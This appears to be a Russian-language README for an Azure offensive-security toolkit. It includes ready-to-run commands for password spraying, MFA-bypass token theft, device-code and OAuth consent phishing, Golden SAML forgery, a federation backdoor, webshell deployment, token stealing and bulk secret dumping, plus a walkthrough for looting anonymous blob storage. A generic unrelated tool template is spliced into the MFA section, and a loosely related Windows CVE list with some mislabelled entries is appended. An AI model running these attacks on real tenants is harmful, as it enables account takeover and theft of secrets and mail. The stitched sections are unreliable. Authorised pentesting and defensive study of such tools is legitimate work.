
Набор инструментов на Go для авторизованных оценок безопасности Azure: перечисляет подписки и ресурсы, проверяет конфигурации на наличие ошибок и атакует публичное хранилище Blob анонимно.
azpt)🚧 Публичная бета-версия.
azptнаходится в активной разработке — команды, флаги и форматы вывода могут меняться между релизами. Сообщения об ошибках и отзывы приветствуются через GitHub issues.
azpt — это набор инструментов на Go для авторизованных оценок безопасности Azure. Он работает
с двух точек зрения:
⚠️ Только авторизованное использование. Запускайте это только против тенантов, подписок и учётных записей хранилища, на тестирование которых у вас есть явное письменное разрешение. Анонимные команды
blobобращаются к сторонней инфраструктуре через интернет — ограничьте их рамками вашего проекта.
Все примеры ниже нацелены на вымышленную Acme Corp, чей статический маркетинговый сайт
размещён в учётной записи хранилища Azure с именем acmewebsite
(https://acmewebsite.blob.core.windows.net).
Полная документация находится в docs/:
docs/guides/) — по каждой функции: как работает
техника, какие именно разрешения Azure RBAC / Microsoft Graph требуются,
объяснение ключевых флагов, примеры и заметки по OPSEC / обнаружению — организованы по
фазам проекта.docs/guides/scenarios/)
— сквозные сценарии атак, объединяющие команды из разных фаз (токен →
Global Admin, захват Golden SAML, кража PRT, consent phishing → M365,
боковое перемещение через управляемое удостоверение, офлайн-охота по каталогу, device-code
phishing), каждый с OPSEC и очисткой.docs/reference/) — автоматически сгенерированная
страница для каждой команды со всеми флагами (имя, сокращение, тип, значение по умолчанию,
описание). Перегенерировать с помощью azpt gen-docs docs/reference; та же информация
выводится командой azpt <command> --help.Скачайте архив для вашей платформы из последнего релиза, проверьте его и распакуйте:```bash
tar -xzf azpt_.tar.gz sha256sum -c --ignore-missing SHA256SUMS
Бинарные файлы статические (`CGO_ENABLED=0`) и не требуют зависимостей во время выполнения.
Сборки публикуются для linux и darwin на amd64 и arm64.
Бинарные файлы для Windows не публикуются. Помощники, работающие только в Windows (`prt extract`,
`adconnect sync-creds`, DPAPI), по-прежнему собираются из исходного кода с помощью `go build -o
azpt.exe .` на хосте Windows.
### Из исходного кода
Требуется Go 1.26+.```bash
git clone https://github.com/hac01/azure-pentesting-suite.git
cd azure-pentesting-suite
go build -o azpt .
Это создаёт самодостаточный бинарный файл azpt в корне репозитория. Также можно запускать
без сборки через go run . <command> из каталога репозитория.
Для анонимных команд blob вход в Azure не требуется:```bash
./azpt blob hunt --account acmewebsite
С учетными данными Azure (`az login`) оценивайте изнутри — как плоскость ресурсов (ARM), так и каталог (Entra ID / Graph):```bash
./azpt enum whoami # who am I authenticated as?
./azpt enum subscriptions # what subscriptions can this principal see?
./azpt audit storage # misconfigured storage accounts
./azpt enum users # dump the Entra ID directory (Graph)
Типичная цепочка: анонимно восстановить учётные данные с помощью blob hunt, войти как этот пользователь (az login), проверить, что он может делать, с помощью enum access, а затем разграбить все доступные Key Vault:```bash
./azpt enum access # token scopes, directory roles, groups, RBAC roles
./azpt enum resources # find Key Vaults (type: vaults)
./azpt vault list --vault ext-contractors # secrets, keys, certs in that vault
./azpt vault dump --vault ext-contractors # read every secret value (the loot)
---
## Аутентификация
Анонимные команды `blob` **не** требуют аутентификации. Всё остальное использует
цепочку учётных данных Azure по умолчанию, которая пытается по порядку:
переменные среды, рабочую нагрузку identity, управляемую identity и Azure CLI (`az login`).```bash
az login
./azpt enum subscriptions
Принудительно используйте явную аутентификацию через service-principal (полезно для ограниченной по области действия учётной записи оценки) с помощью флагов или переменных среды. Ещё нет такой учётной записи? az ad sp create-for-rbac --name azpt-assessment --role Reader --scopes /subscriptions/<subscription-id> создаёт её — см. Начало
работы для
полного руководства, включая разрешения Graph, которые один только RBAC вам не предоставит:```bash
./azpt --tenant --client-id --client-secret
enum subscriptions
export AZURE_TENANT_ID=... AZURE_CLIENT_ID=... AZURE_CLIENT_SECRET=... ./azpt enum subscriptions
**Аутентификация на основе сертификатов** (PFX или PEM):```bash
./azpt --tenant <tenant-id> --client-id <app-id> \
--certificate ./cert.pfx --cert-password 'P@ss' \
enum subscriptions
Ограничьте аутентифицированные запуски конкретными подписками с помощью --subscription
(можно повторять); по умолчанию используются все подписки, доступные субъекту:```bash
./azpt --subscription 00000000-1111-2222-3333-444444444444 audit storage
---
## Справочник команд
🧪 отмечает команду, всё ещё находящуюся в **бета-версии**: реализована и пригодна к использованию, но менее проверена в бою, чем остальная часть набора — ожидайте шероховатостей и, пожалуйста, сообщайте о проблемах, с которыми столкнётесь.
| Команда | Auth | API | Описание |
| --- | :---: | --- | --- |
| `recon realm <domain>` | ❌ | Identity | Поддерживается ли домен Entra ID? (Managed/Federated) |
| `recon tenant <domain>` | ❌ | Identity | Определить tenant ID (конфигурация OpenID) |
| `recon outsider <domain>` | ❌ | Identity+DNS | Полная внешняя разведка: realm, tenant, MX/SPF/DMARC/DKIM/MTA-STS |
| `recon subdomains <base>` | ❌ | DNS | Перечислить поддомены служб Azure (App Service, Storage, Vault, SQL, ...) |
| `recon users` | ❌ | Identity | Проверить, существуют ли имена пользователей в Entra ID |
| `spray` | ❌ | Identity | Password-spray одним паролем по именам пользователей (только с авторизацией) |
| `mfa audit` | ❌ | Identity | Найти пробелы в применении MFA (ROPC по ресурсам/клиентам/User-Agent) |
| `mfa token` | ❌ | Identity | Получить access token через пробел в MFA (автоподбор User-Agent) |
| `mfa refresh` | ❌ | Identity | Обменять refresh token на токен другого ресурса (FOCI) |
| `mfa devicecode` | ❌ | Identity | Фишинговая приманка device-code → перехват токенов после входа жертвы |
| `imds token` | ❌ | IMDS | Выпустить токен managed identity на скомпрометированном ресурсе (запуск на хосте) |
| `imds loot` | ❌ | IMDS | Забрать MI-токены для ARM, Graph, Storage и Key Vault сразу |
| `enum ca` | ✅ | Graph | Перечислить политики Conditional Access и отметить пробелы в MFA |
| `enum deployments` | ✅ | ARM | Показать историю развёртываний ARM, отметить параметры с секретами |
| `webapp list/settings/creds` | ✅ | ARM | Инвентаризация App Service, настройки приложения, учётные данные публикации Kudu |
| `webapp exec` | ✅ | ARM/Kudu | Выполнить команду на сайте через Kudu (RCE) |
| `webapp loot` | ✅ | ARM | Все приложения: настройки + строки подключения + учётные данные Kudu, отметить секреты |
| `storage keys` | ✅ | ARM | Показать ключи доступа учётной записи хранения |
| `storage sas` | ✅ | ARM | Выпустить SAS-токен учётной записи через ARM |
| `vm list` / `vm run` | ✅ | ARM | Показать список VM / выполнить команду через RunCommand |
| `automation list/loot` | ✅ | ARM | Runbook'и Automation, переменные, имена учётных данных |
| `loot keys` | ✅ | ARM | Собрать ключи/строки подключения из Cosmos, ACR, Redis, Service Bus, Event Hub, Cognitive, Batch, App Config, SignalR, Maps |
| `loot apim` | ✅ | ARM | Именованные значения API Management (включая секреты) |
| `loot logicapps` / `loot datafactory` | ✅ | ARM | Определения Logic App / связанные службы Data Factory |
| `aks list` / `aks kubeconfig` | ✅ | ARM | Показать список кластеров AKS / забрать kubeconfig cluster-admin |
| `enum approles` | ✅ | Graph | Перечислить назначения ролей приложений Graph, отметить пути privesc (→ Global Admin) |
| `enum privroles` | ✅ | Graph | Держатели привилегированных ролей каталога (активные + PIM-eligible) |
| `enum grants` | ✅ | Graph | Делегированные разрешения OAuth2 (незаконные / избыточное согласие), опасные scope отмечены |
| `enum laps` | ✅ | Graph | Получить пароли локального администратора Windows LAPS из Entra |
| `enum bitlocker` | ✅ | Graph | Получить ключи восстановления BitLocker из Entra |
| `enum dynamicgroups` | ✅ | Graph | Динамические (основанные на правилах) группы — поверхность self-join / privesc |
| `enum guests` / `enum devices` | ✅ | Graph | Гостевые (B2B) пользователи / зарегистрированные устройства |
| `enum risky` | ✅ | Graph | Поиск устаревшего/рискованного: гости, sync SP, break-glass, приложения с секретами |
| `enum intune` / `intune list` | ✅ | Graph | Показать устройства под управлением Intune |
| `intune script` | ✅ | Graph | Развернуть PowerShell-скрипт в группе устройств (SYSTEM RCE) |
| `recon tenantinfo` | ❌ | Identity | Глубокая внешняя разведка: tenant ID, федерация, Seamless SSO, локальная синхронизация |
| `entra create-app` | ✅ | Graph | Создать приложение + SP + секрет (управляемая идентичность для persistence) |
| `entra reset-password` | ✅ | Graph | Сбросить пароль пользователя (захват учётной записи) |
| `token decode` | ❌ | — | Декодировать claims JWT (идентичность, scope, роли, wids→имена ролей, срок действия) |
| `elevate-access` | ✅ | ARM | Global Admin → User Access Administrator в корне тенанта (переход Entra→Azure) |
| `entra add-member/add-owner` | ✅ | Graph | Добавить участника/владельца в группу/приложение/SP (privesc и persistence) |
| `entra grant` | ✅ | Graph | Создать согласие OAuth2 (незаконное согласие) |
| `entra invite` / `entra tap` | ✅ | Graph | Пригласить B2B-гостя / создать Temporary Access Pass (обход аутентификации) |
| `scan --loot` | ✅ | ARM+Graph | Глубокое сканирование для сбора: ключи Function App, kubeconfig AKS, LAPS, BitLocker, APIM, брандмауэры БД, снимки, пользовательские роли, устаревшие учётные данные |
| `scan --bloodhound` | ✅ | — | Экспортировать граф Entra+ARM как BloodHound CE OpenGraph JSON |
| `enum adminunits` | ✅ | Graph | Административные единицы и их участники с ограниченными ролями (злоупотребление AU-scoped admin) |
| `enum identities` | ✅ | ARM | Сопоставить managed identities с их хост-ресурсами |
| `enum lighthouse` | ✅ | ARM | Делегирования Azure Lighthouse (внешние тенанты, управляющие этой подпиской) |
| `enum pip` | ✅ | ARM | Показать публичные IP-адреса в области подписки |
| `entra update-profile` | ✅ | Graph | Обновить атрибуты профиля пользователя (злоупотребление динамическими группами) |
| `app add-secret` | ✅ | Graph | Добавить client secret в регистрацию приложения (persistence/privesc) |
| `app add-federated` | ✅ | Graph | Добавить federated identity credential (persistence через внешний IdP) |
| `webapp functionkeys` | ✅ | ARM | Host-ключи Function App (master key → admin API / RCE) |
| `disk list` / `disk export` | ✅ | ARM | Показать диски/снимки / read-SAS экспорт для офлайн-сбора VHD |
| `storage shares` / `storage queues` | ✅ | ARM | Показать общие ресурсы Azure Files / очереди Storage |
| `storage peek` / `storage files` | ✅ | Storage | Просмотреть содержимое сообщения очереди / показать файлы общей папки (data plane) |
| `loot aci` | ✅ | ARM/data | Переменные окружения Container Instances |
| `loot appconfig` 🧪 | ✅ | ARM/data | Пары ключ-значение App Configuration |
| `cosmos list/dump/table` | ✅ | ARM+data | Учётные записи Cosmos DB, базы данных, контейнеры, чтение документов, Table API |
| `containerapp loot/exec/steal-token` | ✅ | ARM | Секреты Container App + переменные окружения / exec в реплику / украсть MI-токен |
| `iot list/devices/invoke` | ✅ | ARM+data | Ключи IoT Hub, идентичности устройств, вызов direct-method (RCE на устройстве) |
| `backup vaults/items/restore` | ✅ | ARM | Хранилища Recovery Services, элементы резервного копирования + точки восстановления, восстановление дисков |
| `db list/query` | ✅ | ARM+data | Перечисление и запросы к серверу PostgreSQL/MySQL (вход через Entra или БД) |
| `blob containers` | ❌ | Blob | Показать все контейнеры в учётной записи хранения (с `--sas` для service-level SAS) |
| `m365 mail/files/sites` | ✅ | Graph | Собрать почтовый ящик, OneDrive и SharePoint с токеном Graph |
| `blob brute` | ❌ | DNS/Blob | Обнаружить учётные записи хранения по имени и проверить анонимные контейнеры |
| `recon takeover` | ❌ | DNS | Отметить висячие CNAME Azure (захват поддомена) |
| `audit network` | ✅ | ARM | Аудит интернет-доступа NSG и публичных IP |
| `audit keyvault` | ✅ | ARM | Аудит публичного доступа Key Vault, purge/soft-delete, широких политик |
| `audit rbac` | ✅ | ARM | Аудит гигиены RBAC: разрастание Owner, UAA, рискованные пользовательские роли |
| `enum subscriptions` | ✅ | ARM | Показать подписки, видимые текущему субъекту |
| `enum resources` | ✅ | ARM | Показать все ресурсы в области подписки (`--fast` использует Resource Graph; `--access` добавляет столбец с ролью RBAC, которой вы обладаете на каждом) |
| `enum kql` | ✅ | ARM | Выполнить произвольный запрос Azure Resource Graph (KQL) в области |
| `enum users` | ✅ | Graph | Показать пользователей каталога Entra ID |
| `enum groups` | ✅ | Graph | Показать группы каталога Entra ID |
| `enum service-principals` | ✅ | Graph | Показать service principals / корпоративные приложения |
| `enum apps` | ✅ | Graph | Показать регистрации приложений с количеством секретов/сертификатов |
| `enum org` | ✅ | Graph | Показать информацию о тенанте/организации и проверенные домены |
| `enum whoami` | ✅ | Graph | Показать текущего аутентифицированного пользователя (`/me`) |
| `enum access` | ✅ | ARM+Graph | Показать ваш эффективный доступ: scope токена, роли каталога, членство в группах, роли RBAC |
| `scan` | ✅ | ARM+Graph | Сопоставить доступ пользователя как граф путей атаки в стиле BloodHound (+ HTML) |
| `audit storage` | ✅ | ARM | Аудит учётных записей хранения (публичный доступ, TLS, транспорт, брандмауэр) |
| `vault list` | ✅ | KV | Показать секреты, ключи и сертификаты в Key Vault |
| `vault get --secret <n>` | ✅ | KV | Прочитать значение одного секрета Key Vault |
| `vault dump` | ✅ | KV | Показать и прочитать все секреты в Key Vault |
| `sql databases` | ✅ | SQL | Показать базы данных на сервере Azure SQL |
| `sql tables` | ✅ | SQL | Показать таблицы (с количеством строк) в базе данных |
| `sql query -q <sql>` | ✅ | SQL | Выполнить запрос только для чтения (для изменений нужен `--allow-write`) |
| `sql dump --table <t>` | ✅ | SQL | Выгрузить строки из таблицы |
| `storage containers` | ✅ | Storage | Показать blob-контейнеры (аутентифицированно) |
| `storage blobs` | ✅ | Storage | Показать blob'ы в контейнере (аутентифицированно) |
| `storage download` | ✅ | Storage | Скачать blob (аутентифицированно) |
| `storage tables` | ✅ | Storage | Показать Storage Tables в учётной записи |
| `storage entities` | ✅ | Storage | Запросить/выгрузить строки Storage Table |
| `blob check <path>` | ❌ | Blob | HEAD-запрос к blob для проверки анонимной доступности |
| `blob list` | ❌ | Blob | Показать контейнер анонимно (`--versions`, `--delimiter /`, `--prefix`) |
| `blob versions` | ❌ | Blob | Перечислить версии blob — выявляет старые/заменённые/удалённые файлы |
| `blob download <path>` | ❌ | Blob | Скачать blob, опционально конкретный `--version-id` |
| `blob hunt` | ❌ | Blob | Проверить контейнеры, перечислить версии и отметить файлы с секретами |
| `vm show` | ✅ | ARM | Подробная информация о VM: user data, публичные/частные IP, теги, администратор |
| `vm extensions` | ✅ | ARM | Показать расширения VM (утечка учётных данных Custom Script Extension) |
| `vm steal-token` | ✅ | ARM | Украсть токен managed identity с VM через IMDS (RunCommand) |
| `enum synced` | ✅ | Graph | Показать синхронизированных локальных пользователей с Security Identifiers (SID) |
| `enum powerplatform environments` 🧪 | ✅ | PowerApps | Показать среды Power Platform (экземпляры Dataverse) |
| `enum powerplatform apps` 🧪 | ✅ | PowerApps | Показать canvas-приложения Power Apps |
| `enum powerplatform tables` 🧪 | ✅ | Dataverse | Показать таблицы Dataverse (определения сущностей) |
| `enum powerplatform query` 🧪 | ✅ | Dataverse | Запросить строки из таблицы Dataverse через OData |
| `webapp deploy` | ✅ | Kudu | Загрузить файл в веб-приложение через Kudu VFS (развёртывание webshell) |
| `token extract` | ❌ | — | Извлечь токены из файла кэша токенов MSAL (refresh + access) |
| `m365 teams/search-mail/search-files` | ✅ | Graph | Каналы Teams, поиск по почте, поиск по SharePoint/OneDrive |
| `m365 scan` | ✅ | Graph | Сканировать данные M365 на секреты, пароли, учётные данные (14 шаблонов) |
| `devops projects/serviceconnections/variablegroups/pipelines` | ✅ | DevOps | Перечислить организации Azure DevOps: проекты, service connections (раскрытие SP/тенанта/подписки), группы переменных, конвейеры |
| `devops preview` | ✅ | DevOps | Разрешить итоговый YAML конвейера после раскрытия шаблонов/переменных без его запуска |
| `devops run` | ✅ | DevOps | Поставить в очередь реальный запуск конвейера и захватить его журнал сборки (выполняется от имени идентичности service connection конвейера) |
| `arm deploy-script` | ✅ | ARM | Выполнить код в транзитном контейнере ACI через `deploymentScripts` (RCE), опционально с подключением managed identity |
| `persistence grant-rbac` | ✅ | ARM | Назначить роль RBAC (например, Owner) себе или субъекту в любой области (privesc/persistence) |
| `persistence attach-identity` | ✅ | ARM | Подключить назначенную пользователем managed identity к ресурсу (privesc через `steal-token`) |
| `aks kubeconfig --user` | ✅ | ARM | Получить kubeconfig пользователя, аутентифицированного через Entra (работает на кластерах с отключёнными локальными учётными записями) |
| `k8s secrets` | ✅ | K8s | Выгрузить все секреты Kubernetes в пространстве имён (или во всём кластере) |
| `k8s serviceaccounts` | ✅ | K8s | Показать service accounts, отметив федеративные через Azure Workload Identity |
| `k8s pods` | ✅ | K8s | Показать pod'ы и service account, от имени которого работает каждый |
| `k8s rbac` | ✅ | K8s | Перечислить cluster/role bindings, отметив пути privesc через cluster-admin/wildcard/pod-exec/secrets-read |
| `k8s exec` | ✅ | K8s | Выполнить команду в pod'е (неинтерактивный RCE, от имени service account этого pod'а) |
| `k8s steal-token` | ✅ | K8s | Выпустить токен service account через TokenRequest API (работает без смонтированного секрета токена) |
| `k8s pivot-azure` | ✅ | K8s→Entra | Украсть токен SA, федеративного через workload identity, и обменять его на реальный access token Azure AD |
| `harvest` | ❌ | — | Собрать хранилища учётных данных az CLI / Az PowerShell на диске (токены, секреты SP; хранилища под защитой DPAPI в Windows) |
| `prt nonce` 🧪 | ❌ | Identity | Получить серверный nonce (`srv_challenge`) для подписи cookie PRT |
| `prt cookie` 🧪 | ❌ | Identity | Создать подписанный SSO-cookie `x-ms-RefreshTokenCredential` из PRT + session key (KDF v2) |
| `prt auth` 🧪 | ❌ | Identity | Полная цепочка PRT SSO: nonce → cookie → authorize → access + refresh token |
| `prt extract` 🧪 | ❌ | Identity | На хосте (Windows): извлечь свежий SSO-cookie из BrowserCore.exe и обменять его (ROADtoken) |
| `device register` | ✅ | DRS | Зарегистрировать подконтрольное устройство (join) → сертификат/ключ устройства — предпосылка для PRT, обход device-CA, persistence |
| `federation list` | ✅ | Graph | Показать конфигурацию федерации домена |
| `federation backdoor` | ✅ | Graph | Преобразовать управляемый домен в Federated, доверяя атакующему STS (AADInternals `ConvertTo-AADIntBackdoor`) |
| `federation golden-saml` 🧪 | ❌ | Identity | Подделать подписанный SAML-assertion для любого пользователя и обменять его на токены (Golden SAML) |
| `federation remove` | ✅ | Graph | Удалить конфигурацию федерации (вернуть в Managed / очистка) |
| `entra phish-app create` 🧪 | ✅ | Graph | Создать multi-tenant приложение для OAuth consent-фишинга + URL согласия (GraphRunner `Invoke-InjectOAuthApp`) |
| `entra phish-app serve` | ❌ | Identity | Локальный слушатель, перехватывающий код авторизации согласия и обменивающий его на токены |
| `m365 rules list/add/delete` | ✅ | Graph | Правила пересылки входящих (тихая persistence через пересылку почты) |
| `scan dump` | ✅ | ARM+Graph | Выгрузить каталог + граф атак в офлайн-базу данных SQLite на чистом Go |
| `scan query <view>` | ❌ | — | Выполнить готовые аналитические представления (`admins`, `password-resetters`, `dangerous-approles`, …) по дампу |
| `adconnect sync-creds` | ✅ | ADSync SQL | Выгрузить зашифрованные bind-учётные данные синхронизации AD Connect из БД ADSync (расшифровать с помощью AADInternals `Get-AADIntSyncCredentials`) |
`azpt` взаимодействует с тремя API Azure. Команды **ARM** используют Azure SDK; команды **Graph** (Entra ID / объекты каталога) используют необработанный токен Graph из тех же учётных данных; команды **Blob** полностью анонимны.
**Глобальные флаги** (перед подкомандой): `--json`, `--jsonl` (NDJSON, для потоковых/BloodHound-подобных конвейеров), `--opsec` (вывести поверхность обнаружения перед запуском), `--subscription <id>` (можно повторять), `--tenant`, `--client-id`, `--client-secret`, `--certificate` (PFX/PEM), `--cert-password`, `--access-token` (можно повторять, или `AZPT_TOKEN`), `--refresh-token` (автопереход FOCI), `--cloud` (`public` | `usgov` | `china` — перенацеливает конечные точки ARM/Graph/login для суверенных облаков).
Все вызовы ARM и Graph следуют пагинации `nextLink` (без тихого усечения на больших тенантах) и повторяются при `429`/`503` с учётом `Retry-After`.
**Управление azpt с украденным токеном.** Любая аутентифицированная команда принимает заранее полученный bearer-токен через `--access-token` (или `AZPT_TOKEN`) вместо `az login` — токены, добытые через пробел в MFA (`mfa token`), managed identity (`imds`) или фишинг, работают напрямую. Укажите несколько (ARM, Graph, Storage), и каждый будет направлен в API, чьей аудитории он соответствует:```bash
azpt --access-token "$(cat arm.jwt)" enum resources
azpt --access-token "$ARM" --access-token "$STORAGE" scan --deep --html graph.html
Классическая цепочка постэксплуатации, полностью на azpt:```bash
T=$(azpt mfa token -u [email protected] -P 'Passw0rd!' -r arm --confirm --json | jq -r .accessToken) azpt --access-token "$T" webapp loot # app settings → MSI secret, storage, DB creds
azpt imds loot -c "$ENTRA_CLIENT_ID" # ARM + Storage tokens for the app's identity
azpt --access-token "$STORAGE_TOKEN" storage containers --account corpstorage
**Флаги `blob`** (все подкоманды `blob`): `--account <name>` (обязательный),
`--container <name>` (по умолчанию `$web`), `--api-version <ver>` (по умолчанию
`2021-08-06`; должен быть ≥ `2019-12-12` для перечисления версий),
`--endpoint-suffix <suffix>` (по умолчанию `core.windows.net`; установите
`core.usgovcloudapi.net` / `core.chinacloudapi.cn` для суверенных облаков).
Запустите `./azpt <command> --help` для получения полного списка флагов любой команды.
---
## Разведка (только домен)
Команды `recon` — это начало работы: имея только доменное имя, определить,
использует ли организация Entra ID, найти её tenant ID, составить карту её
присутствия в Azure и проверить имена пользователей — всё это **без аутентификации**.```bash
# Is contoso.com on Entra ID, and what's the tenant ID?
./azpt recon realm contoso.com
./azpt recon tenant contoso.com
# One-shot outsider posture (realm + tenant + mail/DNS security)
./azpt recon outsider contoso.com
# Map the Azure footprint by brute-forcing service subdomains.
# Wildcard services (e.g. Front Door) are auto-detected and skipped.
./azpt recon subdomains contoso --threads 30
# Validate candidate usernames (o365 enumeration; does not lock accounts)
./azpt recon users [email protected] [email protected]
./azpt recon users --user-file names.txt
# Generate username patterns from a name and validate them
./azpt recon users --first jane --last doe --domain contoso.com
sprayКогда у вас есть действительные имена пользователей и пароль-кандидат (например, из корпуса утечек), проверьте его. Это один пароль для множества пользователей (spray, а не перебор по каждому пользователю, который блокирует учётные записи), но это всё равно шумно и может вызвать блокировки и оповещения.```bash ./azpt spray --user-file valid-users.txt --password 'Spring2026!' --confirm
`--confirm` обязателен — если его опустить, команда откажется запускаться. Результаты
классифицируются: valid, valid-but-MFA-required, disabled, locked (стоп!), или invalid.
Коды, которые возникают только *после* проверки пароля (MFA, expired, CA),
сообщаются как **valid credentials**.
> ⚠️ Password spraying — это навязчивая, обнаруживаемая техника. Запускайте её только
> против тенантов, на тестирование которых у вас есть явное письменное разрешение.
### Пробелы в применении MFA — `mfa`
У вас есть **valid credentials** для пользователя, но Azure Portal запрашивает MFA.
Политики Conditional Access часто ограничены по *resource*, *client app*
и *device platform* (которую Entra выводит из `User-Agent`). Если политика
требует MFA только тогда, когда запрос соответствует одному из этих условий, запрос, который
не соответствует **ни одному** — например, необычный User-Agent платформы устройства — может получить
токен **вообще без MFA**. Это та же техника, что и
[FindMeAccess](https://github.com/absolomb/FindMeAccess), с использованием потока ROPC.```bash
# Sweep resources / clients / device-platform User-Agents for a gap.
./azpt mfa audit -u [email protected] -P 'Passw0rd!' --confirm
# Базовое использование
tool --config config.yaml --output result.json
# Подробный режим с отладкой
tool -V -d -c config.yaml
# Тихий режим с форматом json
tool -q -f json -o output.json
Файл конфигурации использует формат YAML:
# Настройки сканирования
scan:
timeout: 30
threads: 10
depth: 3
# Настройки вывода
output:
format: json
verbose: false
color: true
# Настройки уведомлений
notifications:
enabled: true
email: [email protected]
webhook: https://hooks.example.com/notify
| Переменная | Описание |
|---|---|
TOOL_CONFIG | Путь к файлу конфигурации |
TOOL_OUTPUT | Путь к выходному файлу |
Проблема: Инструмент не запускается.
Решение: Проверьте, что все зависимости установлены:
pip install -r requirements.txt
Проблема: Ошибка подключения к базе данных.
Решение: Убедитесь, что сервер базы данных запущен и доступен:
systemctl status postgresql
Проблема: Недостаточно прав для выполнения операции.
Решение: Запустите инструмент с правами администратора:
sudo tool --config config.yaml
Этот проект распространяется под лицензией MIT. Подробности см. в файле LICENSE.
[+] MFA GAP CONFIRMED — 3 combination(s) returned a token with no MFA: Azure Resource Manager via client "Azure PowerShell" · User-Agent "PlayStation 5"
Пробел здесь — это условие платформы устройства, при котором выбраны *все* платформы —
что выглядит безопасно, но оценка применяет MFA только тогда, когда User-Agent
**совпадает с одной** из них. User-Agent, не совпадающий ни с одной (PlayStation 5 или выдуманная
строка), получает доступ. Теперь получите пригодный токен и перейдите к следующему шагу:```bash
# Auto-tries User-Agents until one bypasses MFA; prints the token + a usage hint.
./azpt mfa token -u [email protected] -P 'Passw0rd!' \
-r "https://management.azure.com" --confirm
# → ACCESS TOKEN (ARM), plus:
# Connect-AzAccount -AccessToken $t -AccountId "j.doe"
-r / -c принимают либо полный URL / app-ID, либо короткое имя (storage,
graph, keyvault; cli, office, teams). Получите токен Storage тем же
способом, чтобы добраться до данных blob, недоступных для токена ARM:```bash
./azpt mfa token -u [email protected] -P 'Passw0rd!' -r storage --confirm
`--confirm` обязателен. ROPC отправляет реальные учётные данные на конечную точку токена, поэтому повторные попытки могут заблокировать учётную запись и вызвать оповещения о входе — сканирование выполняется **поэтапно** (baseline, затем User-Agents, затем `--full` расширяется до каждого клиента и ресурса), чтобы поддерживать низкое количество запросов, а `--delay <ms>` ограничивает его.
> ⚠️ Тестирование MFA на основе ROPC является навязчивым и логируется (оно отображается в журналах входа Entra как ROPC auth). Только для авторизованных работ.
## Пошаговое руководство: атака на анонимный blob
Это основной рабочий процесс: компрометация статического веб-сайта, размещённого в Azure Blob storage, с **нулевыми учётными данными**. Анонимный *листинг* работает, когда уровень публичного доступа контейнера установлен на `Container`; *перечисление версий* дополнительно требует, чтобы в учётной записи было включено управление версиями blob.
Более подробное объяснение каждого шага и того, почему он работает, см. в
[`docs/blob-anonymous-attacks.md`](https://github.com/hac01/azure-pentesting-suite/blob/main/docs/blob-anonymous-attacks.md).```bash
# 1. Is the static-website container anonymously reachable?
./azpt blob check --account acmewebsite index.html
# -> HTTP 200 accessible=true
# 2. List the $web container (the default). Note the "versioning:" line —
# if it says ENABLED, historical files may be recoverable.
./azpt blob list --account acmewebsite
# 3. Enumerate versions. This surfaces files removed from the live site,
# e.g. an old backup archive with CURRENT=false.
./azpt blob versions --account acmewebsite
# 4. Copy the exact VERSION value of the interesting blob and download it.
./azpt blob download --account acmewebsite backups/site-transfer.zip \
--version-id '2025-03-14T09:22:10.1234567Z' -o loot.zip
# 5. Inspect the loot.
unzip loot.zip
blob hunthunt автоматизирует шаги 1–4: он проверяет список распространённых имён контейнеров и для каждого, доступного для анонимного перечисления, перечисляет версии и сообщает о каждом файле, содержащем секреты, как о находке.```bash
./azpt blob hunt --account acmewebsite
## Уязвимости
- **CVE-2025-33073** — Принудительная аутентификация SMB-клиента через запись DNS (NTLM-релей)
- **CVE-2025-58726** — Ghost SPN: обход проверки SPN в Kerberos (уязвимость, обнаруженная в ходе исследования)
- **CVE-2025-54918** — Повышение привилегий в Windows NTLM
- **CVE-2025-53779** — Повышение привилегий в Windows Kerberos
- **CVE-2025-53770** — Удалённое выполнение кода в SharePoint (ToolShell)
- **CVE-2025-49704** — Удалённое выполнение кода в SharePoint
- **CVE-2025-49706** — Подмена в SharePoint
- **CVE-2025-29824** — Повышение привилегий в драйвере CLFS
- **CVE-2025-21293** — Повышение привилегий в Active Directory
- **CVE-2024-30088** — Повышение привилегий в ядре Windows
- **CVE-2024-21338** — Повышение привилегий в драйвере appid.sys
- **CVE-2023-4911** — Повышение привилегий Looney Tunables (glibc)
- **CVE-2023-38831** — Удалённое выполнение кода в WinRAR
- **CVE-2023-28252** — Повышение привилегий в драйвере CLFS
- **CVE-2022-37969** — Повышение привилегий в драйвере CLFS
- **CVE-2022-24521** — Повышение привилегий в драйвере CLFS
- **CVE-2021-1732** — Повышение привилегий в драйвере win32k
- **CVE-2020-1472** — Zerologon (Netlogon)
- **CVE-2019-1458** — Повышение привилегий в драйвере win32k
- **CVE-2019-1064** — Повышение привилегий в AppX
- **CVE-2019-0841** — Перезапись файлов в AppX
- **CVE-2018-8453** — Повышение привилегий в драйвере win32k
- **CVE-2018-8440** — Повышение привилегий в ALPC
- **CVE-2017-0213** — Повышение привилегий в COM
- **CVE-2017-0144** — EternalBlue (SMBv1)
- **CVE-2016-7255** — Повышение привилегий в драйвере win32k
- **CVE-2016-3225** — Обход проверки подлинности в SMB
- **CVE-2015-1701** — Повышение привилегий в драйвере win32k
- **CVE-2014-4113** — Повышение привилегий в драйвере win32k
- **CVE-2013-3660** — Повышение привилегий в драйвере win32k
- **CVE-2012-0158** — Удалённое выполнение кода в MSCOMCTL.OCX
- **CVE-2010-3333** — Удалённое выполнение кода в RTF
- **CVE-2008-4250** — Удалённое выполнение кода в службе Server
- **CVE-2008-1084** — Повышение привилегий в ядре Windows
- **CVE-2008-0015** — Удалённое выполнение кода в Windows
- **CVE-2006-3439** — Удалённое выполнение кода в службе Server
- **CVE-2004-0210** — Повышение привилегий в Windows
- **CVE-2003-0352** — Удалённое выполнение кода в DCOM/RPC (Blaster)
- **CVE-2001-0154** — Удалённое выполнение кода в Windows
- **CVE-1999-0001** — Отказ в обслуживании в Windows
## Ссылки
- [CVE-2025-33073: Принудительная аутентификация SMB-клиента через запись DNS](https://www.synacktiv.com/publications/ntlm-reflection-is-dead-long-live-ntlm-reflection)
- [CVE-2025-58726: Ghost SPN — обход проверки SPN в Kerberos](https://www.synacktiv.com/)
- [CVE-2025-54918: Повышение привилегий в Windows NTLM](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-54918)
- [CVE-2025-53779: Повышение привилегий в Windows Kerberos](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-53779)
- [CVE-2025-53770: Удалённое выполнение кода в SharePoint (ToolShell)](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-53770)
- [CVE-2025-49704: Удалённое выполнение кода в SharePoint](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-49704)
